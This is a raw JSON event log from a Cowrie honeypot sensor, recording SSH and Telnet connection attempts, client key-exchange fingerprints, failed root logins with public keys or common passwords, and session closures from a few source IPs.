{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:cb:74:43:74:e9:38:f0:b3:f1:ad:18:44:dd:09:5c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICiEn7N0uOZQMiF4PPkApkXia81hiNDQ/+AsbxI87m46","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.428047Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:64:c7:77:26:1b:32:ac:ea:de:5d:17:6a:41:67:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx8YUdMLmoHY82MsWh6g7O1aLqmjXQNzRbM2ADlJNoEeX5M/2cJarM/rJQbqI8GPbe+TsSSV+3jxo9WrQnGXGMhYkBqxGofHTJwjGtyv7d2YOj3lBhWG/wAOmBkFa+L80p+nNEnpsnSW4boz3uSCnAkUhV/LP9SwhxSHuuY3zgWXHKjUvyjrYW+wrO1SEfasRuK9uLh2VCcra+Arx8EAOeZEbk6im0Qk6lAhscnm/yYyL5vYgWDLo1Ef8KqnV6FrQ9zmQNwStqPMxPOjpDeZC7t783Wn+uUB7K/MdfxqQLFj7IPEeANqDdiHB8uRdHOUo5PrWvc3gG2Yvh9LO/B6+vGzJ/zLxBJpyMt3Is1DTbG5APB2U2x7EobFI54SVa4VTSpAVvbq/04UEG5tJxJvO2M83HDBvAJ0tj/UJcD8JXpg0Rnatv4qzLoWSJM7j/5UMdXtBFfypTPmewi7WtYQ+Ag74WrkSEx+WqTYmyTgWDgqH2rfAf5KZ9UdUbg5gtrOKwp+Uo9zwwDqSOI2N/fiOzw8YyL/dZLjZadS0MMre7F7lBzEEvaPCqhoLiNZbzQ+Q995pY0/DVifBBOosrmNE2uB4nJ7sILaNK5XqZbnjIqer8SLW0CHgCMFTDb8bCbbQosmsWJUvL5afbLGfGEsBH5FxZIKcWe5oViEa99H34pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:64:c7:77:26:1b:32:ac:ea:de:5d:17:6a:41:67:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.525429Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:64:c7:77:26:1b:32:ac:ea:de:5d:17:6a:41:67:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx8YUdMLmoHY82MsWh6g7O1aLqmjXQNzRbM2ADlJNoEeX5M/2cJarM/rJQbqI8GPbe+TsSSV+3jxo9WrQnGXGMhYkBqxGofHTJwjGtyv7d2YOj3lBhWG/wAOmBkFa+L80p+nNEnpsnSW4boz3uSCnAkUhV/LP9SwhxSHuuY3zgWXHKjUvyjrYW+wrO1SEfasRuK9uLh2VCcra+Arx8EAOeZEbk6im0Qk6lAhscnm/yYyL5vYgWDLo1Ef8KqnV6FrQ9zmQNwStqPMxPOjpDeZC7t783Wn+uUB7K/MdfxqQLFj7IPEeANqDdiHB8uRdHOUo5PrWvc3gG2Yvh9LO/B6+vGzJ/zLxBJpyMt3Is1DTbG5APB2U2x7EobFI54SVa4VTSpAVvbq/04UEG5tJxJvO2M83HDBvAJ0tj/UJcD8JXpg0Rnatv4qzLoWSJM7j/5UMdXtBFfypTPmewi7WtYQ+Ag74WrkSEx+WqTYmyTgWDgqH2rfAf5KZ9UdUbg5gtrOKwp+Uo9zwwDqSOI2N/fiOzw8YyL/dZLjZadS0MMre7F7lBzEEvaPCqhoLiNZbzQ+Q995pY0/DVifBBOosrmNE2uB4nJ7sILaNK5XqZbnjIqer8SLW0CHgCMFTDb8bCbbQosmsWJUvL5afbLGfGEsBH5FxZIKcWe5oViEa99H34pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.529561Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:14:c0:c1:4e:26:44:86:a6:eb:0c:a3:72:f5:8a:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3p+yHr9wfrTA4XQc9l1XuZXIDhTGxeAQjTh/nR5iLHVlo6qR70gcU5uewLLBk9A2e3eyvco88PizbI7piGa731RxTRaB9Jm4va58e+66BjWk3g27UUSVu72n0mC2o8tLadQ7wFsK/WUKOHMED2WUehHl+doBN0eS1xHmXgYlGuZFI/O7JauvRYCNdr7yDmBj+8TtxGs4CycI3qV5TXsU7Hy59NPz4dJ0bQYKY91nKaobPliW19pRXcgWQ/zUPk59Q44Ap6YLqecX2/5iR+GPYdmwBfIieKIcYclha2m8lEG+IN9e6Fam/UmmDKRp/5FTMK9QONk9tZGnNgc+KaiuXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:14:c0:c1:4e:26:44:86:a6:eb:0c:a3:72:f5:8a:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.625901Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:14:c0:c1:4e:26:44:86:a6:eb:0c:a3:72:f5:8a:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3p+yHr9wfrTA4XQc9l1XuZXIDhTGxeAQjTh/nR5iLHVlo6qR70gcU5uewLLBk9A2e3eyvco88PizbI7piGa731RxTRaB9Jm4va58e+66BjWk3g27UUSVu72n0mC2o8tLadQ7wFsK/WUKOHMED2WUehHl+doBN0eS1xHmXgYlGuZFI/O7JauvRYCNdr7yDmBj+8TtxGs4CycI3qV5TXsU7Hy59NPz4dJ0bQYKY91nKaobPliW19pRXcgWQ/zUPk59Q44Ap6YLqecX2/5iR+GPYdmwBfIieKIcYclha2m8lEG+IN9e6Fam/UmmDKRp/5FTMK9QONk9tZGnNgc+KaiuXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.630301Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:5b:bc:67:f8:24:4b:84:00:ea:c0:ee:ee:b8:e2:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnHa/JSh4IzWsddA/gSD2hJdn1RK0v4BeXlf8gIeGQhLWMwBbRgUarLekIXQ943PUuOu8PUn9tcBEazZyJPMsu716k2BpUXN2syxACkF9CkpaNHYE+LmGUN0ghlz53B4k7+C/XXeKs11Ju9zk30lB+DMoaWHHgmEKIxvPGCg8L5yM3iMIWCg+IbvdsYOCDBa9PtrMZeaKJe8yXBIFf1NVoh36RSakyCxsw1qLPYaUIF3tKh55Ldzn5jyDdFO3HOiA3pkFwWbM2Z/+SB0vrh3z+aTQ9SLHGTirfC1ryBkbipe8wG8XV1Vmtl4sIx8wWhd7uR+BEzE3274fLHaO7I+SD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:5b:bc:67:f8:24:4b:84:00:ea:c0:ee:ee:b8:e2:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.728985Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:5b:bc:67:f8:24:4b:84:00:ea:c0:ee:ee:b8:e2:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnHa/JSh4IzWsddA/gSD2hJdn1RK0v4BeXlf8gIeGQhLWMwBbRgUarLekIXQ943PUuOu8PUn9tcBEazZyJPMsu716k2BpUXN2syxACkF9CkpaNHYE+LmGUN0ghlz53B4k7+C/XXeKs11Ju9zk30lB+DMoaWHHgmEKIxvPGCg8L5yM3iMIWCg+IbvdsYOCDBa9PtrMZeaKJe8yXBIFf1NVoh36RSakyCxsw1qLPYaUIF3tKh55Ldzn5jyDdFO3HOiA3pkFwWbM2Z/+SB0vrh3z+aTQ9SLHGTirfC1ryBkbipe8wG8XV1Vmtl4sIx8wWhd7uR+BEzE3274fLHaO7I+SD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.733107Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:bb:fd:80:18:df:15:89:d7:5f:49:e2:8d:1f:79:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCemP/4F0YKHWeCxJUgISJWP8pP8acZ9b55/XTcT9r4W+yPOQ2zTJVbsNONLrLJYYFtr+WLhLgL9HH9RniI7pA3DhlAVnMDoSD0O0blWSItppmcyGqYbPr7oAEueNskbtZEhFueak3BQ7GvL3h3PxHe57Q/tmtTr6Kxsw3E8PatvB7CT1Vk9HRRZvvwZoUBoi5TKkuVUNVcNryjysTlRGF9TFFUSd/7Noa/Stcr0bYYcYRnR0ExUxoUUopNRLVEuwzPyIqQYXGgqCabHpzlGupKJ7+kvxnOgdWa7oKsnM/1sNK5Ov0snuxgW+K8EwFBcvc3yK0V+U1+9LIPB4l+gWav","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:bb:fd:80:18:df:15:89:d7:5f:49:e2:8d:1f:79:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.835031Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:bb:fd:80:18:df:15:89:d7:5f:49:e2:8d:1f:79:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCemP/4F0YKHWeCxJUgISJWP8pP8acZ9b55/XTcT9r4W+yPOQ2zTJVbsNONLrLJYYFtr+WLhLgL9HH9RniI7pA3DhlAVnMDoSD0O0blWSItppmcyGqYbPr7oAEueNskbtZEhFueak3BQ7GvL3h3PxHe57Q/tmtTr6Kxsw3E8PatvB7CT1Vk9HRRZvvwZoUBoi5TKkuVUNVcNryjysTlRGF9TFFUSd/7Noa/Stcr0bYYcYRnR0ExUxoUUopNRLVEuwzPyIqQYXGgqCabHpzlGupKJ7+kvxnOgdWa7oKsnM/1sNK5Ov0snuxgW+K8EwFBcvc3yK0V+U1+9LIPB4l+gWav","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.839891Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:00:59.937497Z","src_ip":"78.111.75.47","session":"902afdd14d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58378,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3b640fe448f","protocol":"telnet","message":"New connection: 152.42.224.71:58378 (10.17.0.5:23) [session: a3b640fe448f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:06.475530Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55542,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bc806efd010","protocol":"telnet","message":"New connection: 152.42.224.71:55542 (10.17.0.5:23) [session: 2bc806efd010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:13.201879Z"}
{"eventid":"cowrie.session.closed","duration":30.524258613586426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:14.282982Z","src_ip":"152.42.224.71","session":"6d75d557e01b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00311398506165,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:16.117145Z","src_ip":"152.42.224.71","session":"7296e752e547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.001948595047,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:16.133891Z","src_ip":"152.42.224.71","session":"483a4765ef4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48132,"dst_ip":"10.17.0.5","dst_port":23,"session":"37431caa2015","protocol":"telnet","message":"New connection: 152.42.224.71:48132 (10.17.0.5:23) [session: 37431caa2015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:16.540045Z"}
{"eventid":"cowrie.session.closed","duration":59.916173219680786,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:16.902165Z","src_ip":"152.42.224.71","session":"08bc7900a82b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71570944786072,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:21.375281Z","src_ip":"152.42.224.71","session":"650655514e14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.202619552612305,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:22.258685Z","src_ip":"152.42.224.71","session":"e907a756f337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.253076791763306,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:28.392444Z","src_ip":"152.42.224.71","session":"19590468b219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00243139266968,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:29.300252Z","src_ip":"152.42.224.71","session":"9e13a5e54095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36878,"dst_ip":"159.203.135.109","dst_port":22,"session":"48497514fc8b","protocol":"ssh","message":"New connection: 194.113.233.25:36878 (159.203.135.109:22) [session: 48497514fc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:33.030787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:33.035998Z","src_ip":"194.113.233.25","session":"48497514fc8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:33.130476Z","src_ip":"194.113.233.25","session":"48497514fc8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200000","message":"login attempt [root/200000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:33.414758Z","src_ip":"194.113.233.25","session":"48497514fc8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:34.511708Z","src_ip":"194.113.233.25","session":"48497514fc8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54352,"dst_ip":"10.17.0.5","dst_port":23,"session":"be1ec18f0dad","protocol":"telnet","message":"New connection: 152.42.224.71:54352 (10.17.0.5:23) [session: be1ec18f0dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:34.558424Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44576,"dst_ip":"10.17.0.5","dst_port":23,"session":"de9419ced5d8","protocol":"telnet","message":"New connection: 152.42.224.71:44576 (10.17.0.5:23) [session: de9419ced5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:40.343867Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45588,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1fcc205f6c7","protocol":"ssh","message":"New connection: 103.98.149.87:45588 (10.17.0.5:22) [session: e1fcc205f6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:41.502365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:41.508092Z","src_ip":"103.98.149.87","session":"e1fcc205f6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:41.733228Z","src_ip":"103.98.149.87","session":"e1fcc205f6c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:42.647514Z","src_ip":"103.98.149.87","session":"e1fcc205f6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":39920,"dst_ip":"159.203.135.109","dst_port":22,"session":"75ec4bf636c9","protocol":"ssh","message":"New connection: 170.238.160.191:39920 (159.203.135.109:22) [session: 75ec4bf636c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:42.674915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:42.680340Z","src_ip":"170.238.160.191","session":"75ec4bf636c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:42.794132Z","src_ip":"170.238.160.191","session":"75ec4bf636c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hq123456","message":"login attempt [root/Hq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:43.281098Z","src_ip":"170.238.160.191","session":"75ec4bf636c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:43.879384Z","src_ip":"103.98.149.87","session":"e1fcc205f6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44582,"dst_ip":"10.17.0.5","dst_port":23,"session":"12f892da8d3b","protocol":"telnet","message":"New connection: 152.42.224.71:44582 (10.17.0.5:23) [session: 12f892da8d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:44.051766Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:44.398131Z","src_ip":"170.238.160.191","session":"75ec4bf636c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.91923236846924,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:44.459137Z","src_ip":"152.42.224.71","session":"37431caa2015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.89511299133301,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:46.657831Z","src_ip":"152.42.224.71","session":"644e31b3e0e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.93297243118286,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:47.532604Z","src_ip":"152.42.224.71","session":"eb619eee8298","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.9061336517334,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:48.393246Z","src_ip":"152.42.224.71","session":"8ceb9689240c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44834,"dst_ip":"10.17.0.5","dst_port":23,"session":"185388ad170e","protocol":"telnet","message":"New connection: 152.42.224.71:44834 (10.17.0.5:23) [session: 185388ad170e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:50.119033Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35754,"dst_ip":"10.17.0.5","dst_port":23,"session":"7010094da712","protocol":"telnet","message":"New connection: 152.42.224.71:35754 (10.17.0.5:23) [session: 7010094da712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:57.076242Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58093,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4f6f72bdd33","protocol":"ssh","message":"New connection: 167.172.81.52:58093 (10.17.0.5:22) [session: d4f6f72bdd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:01:58.699435Z"}
